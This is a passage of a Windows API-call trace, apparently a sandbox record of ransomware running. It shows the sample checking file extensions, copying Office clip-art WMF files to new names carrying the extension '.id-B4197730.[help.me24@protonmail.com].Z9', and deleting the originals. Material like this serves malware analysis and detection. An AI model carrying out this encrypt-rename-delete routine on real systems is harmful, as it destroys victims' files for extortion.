	[0093.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.694] lstrlenW (lpString=".ppt") returned 4
	[0093.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.694] lstrlenW (lpString=".zip") returned 4
	[0093.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.694] lstrlenW (lpString=".rar") returned 4
	[0093.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString=".bz2") returned 4
	[0093.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString=".7z") returned 3
	[0093.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.694] lstrlenW (lpString=".dbf") returned 4
	[0093.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.694] lstrlenW (lpString=".1cd") returned 4
	[0093.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.694] lstrlenW (lpString=".jpg") returned 4
	[0093.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.694] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.694] lstrlenW (lpString="FD01659_.WMF") returned 12
	[0093.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.695] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=31180) returned 1
	[0093.695] CloseHandle (hObject=0x38c) returned 1
	[0093.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220
	[0093.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.696] GetLastError () returned 0x0
	[0093.696] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x79cc, lpOverlapped=0x0) returned 1
	[0093.790] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x79d0, lpOverlapped=0x0) returned 1
	[0093.791] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.791] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.791] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.792] CloseHandle (hObject=0x2bc) returned 1
	[0093.792] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.792] SetEndOfFile (hFile=0x38c) returned 1
	[0093.793] CloseHandle (hObject=0x38c) returned 1
	[0093.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0093.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.793] lstrlenW (lpString=".doc") returned 4
	[0093.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.793] lstrlenW (lpString=".docx") returned 5
	[0093.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.793] lstrlenW (lpString=".pdf") returned 4
	[0093.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.793] lstrlenW (lpString=".xls") returned 4
	[0093.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.793] lstrlenW (lpString=".xlsx") returned 5
	[0093.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.794] lstrlenW (lpString=".ppt") returned 4
	[0093.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString=".zip") returned 4
	[0093.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.794] lstrlenW (lpString=".rar") returned 4
	[0093.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString=".bz2") returned 4
	[0093.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString=".7z") returned 3
	[0093.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString=".dbf") returned 4
	[0093.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString=".1cd") returned 4
	[0093.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString=".jpg") returned 4
	[0093.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.794] lstrlenW (lpString=".doc") returned 4
	[0093.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.794] lstrlenW (lpString=".docx") returned 5
	[0093.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.794] lstrlenW (lpString=".pdf") returned 4
	[0093.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString=".xls") returned 4
	[0093.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.795] lstrlenW (lpString=".xlsx") returned 5
	[0093.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.795] lstrlenW (lpString=".ppt") returned 4
	[0093.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.795] lstrlenW (lpString=".zip") returned 4
	[0093.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.795] lstrlenW (lpString=".rar") returned 4
	[0093.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString=".bz2") returned 4
	[0093.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString=".7z") returned 3
	[0093.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.795] lstrlenW (lpString=".dbf") returned 4
	[0093.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.795] lstrlenW (lpString=".1cd") returned 4
	[0093.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0093.795] lstrlenW (lpString=".jpg") returned 4
	[0093.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.795] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.795] lstrlenW (lpString="FD02115_.WMF") returned 12
	[0093.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.796] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4660) returned 1
	[0093.796] CloseHandle (hObject=0x38c) returned 1
	[0093.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220
	[0093.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.797] GetLastError () returned 0x0
	[0093.797] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1234, lpOverlapped=0x0) returned 1
	[0093.881] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1240, lpOverlapped=0x0) returned 1
	[0093.882] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.882] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.882] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.882] CloseHandle (hObject=0x2bc) returned 1
	[0093.882] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.883] SetEndOfFile (hFile=0x38c) returned 1
	[0093.883] CloseHandle (hObject=0x38c) returned 1
	[0093.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0093.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.884] lstrlenW (lpString=".doc") returned 4
	[0093.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.884] lstrlenW (lpString=".docx") returned 5
	[0093.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.884] lstrlenW (lpString=".pdf") returned 4
	[0093.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.884] lstrlenW (lpString=".xls") returned 4
	[0093.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.884] lstrlenW (lpString=".xlsx") returned 5
	[0093.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.884] lstrlenW (lpString=".ppt") returned 4
	[0093.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.884] lstrlenW (lpString=".zip") returned 4
	[0093.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.884] lstrlenW (lpString=".rar") returned 4
	[0093.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.884] lstrlenW (lpString=".bz2") returned 4
	[0093.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.884] lstrlenW (lpString=".7z") returned 3
	[0093.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.884] lstrlenW (lpString=".dbf") returned 4
	[0093.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.885] lstrlenW (lpString=".1cd") returned 4
	[0093.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.885] lstrlenW (lpString=".jpg") returned 4
	[0093.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.885] lstrlenW (lpString=".doc") returned 4
	[0093.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString=".docx") returned 5
	[0093.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.885] lstrlenW (lpString=".pdf") returned 4
	[0093.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString=".xls") returned 4
	[0093.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.885] lstrlenW (lpString=".xlsx") returned 5
	[0093.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.885] lstrlenW (lpString=".ppt") returned 4
	[0093.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.885] lstrlenW (lpString=".zip") returned 4
	[0093.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.885] lstrlenW (lpString=".rar") returned 4
	[0093.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.885] lstrlenW (lpString=".bz2") returned 4
	[0093.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.886] lstrlenW (lpString=".7z") returned 3
	[0093.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.886] lstrlenW (lpString=".dbf") returned 4
	[0093.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.886] lstrlenW (lpString=".1cd") returned 4
	[0093.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0093.886] lstrlenW (lpString=".jpg") returned 4
	[0093.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.886] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.886] lstrlenW (lpString="FD02158_.WMF") returned 12
	[0093.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.886] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1648) returned 1
	[0093.886] CloseHandle (hObject=0x38c) returned 1
	[0093.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220
	[0093.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.887] GetLastError () returned 0x0
	[0093.887] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x670, lpOverlapped=0x0) returned 1
	[0093.890] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x680, lpOverlapped=0x0) returned 1
	[0093.891] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.891] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.891] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.891] CloseHandle (hObject=0x2bc) returned 1
	[0093.891] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.891] SetEndOfFile (hFile=0x38c) returned 1
	[0093.892] CloseHandle (hObject=0x38c) returned 1
	[0093.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0093.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.893] lstrlenW (lpString=".doc") returned 4
	[0093.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString=".docx") returned 5
	[0093.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.893] lstrlenW (lpString=".pdf") returned 4
	[0093.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString=".xls") returned 4
	[0093.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.893] lstrlenW (lpString=".xlsx") returned 5
	[0093.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.893] lstrlenW (lpString=".ppt") returned 4
	[0093.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.893] lstrlenW (lpString=".zip") returned 4
	[0093.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.893] lstrlenW (lpString=".rar") returned 4
	[0093.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString=".bz2") returned 4
	[0093.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString=".7z") returned 3
	[0093.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.893] lstrlenW (lpString=".dbf") returned 4
	[0093.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.905] lstrlenW (lpString=".1cd") returned 4
	[0093.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.905] lstrlenW (lpString=".jpg") returned 4
	[0093.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0093.905] lstrlenW (lpString=".doc") returned 4
	[0093.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.905] lstrlenW (lpString=".docx") returned 5
	[0093.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.905] lstrlenW (lpString=".pdf") returned 4
	[0093.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
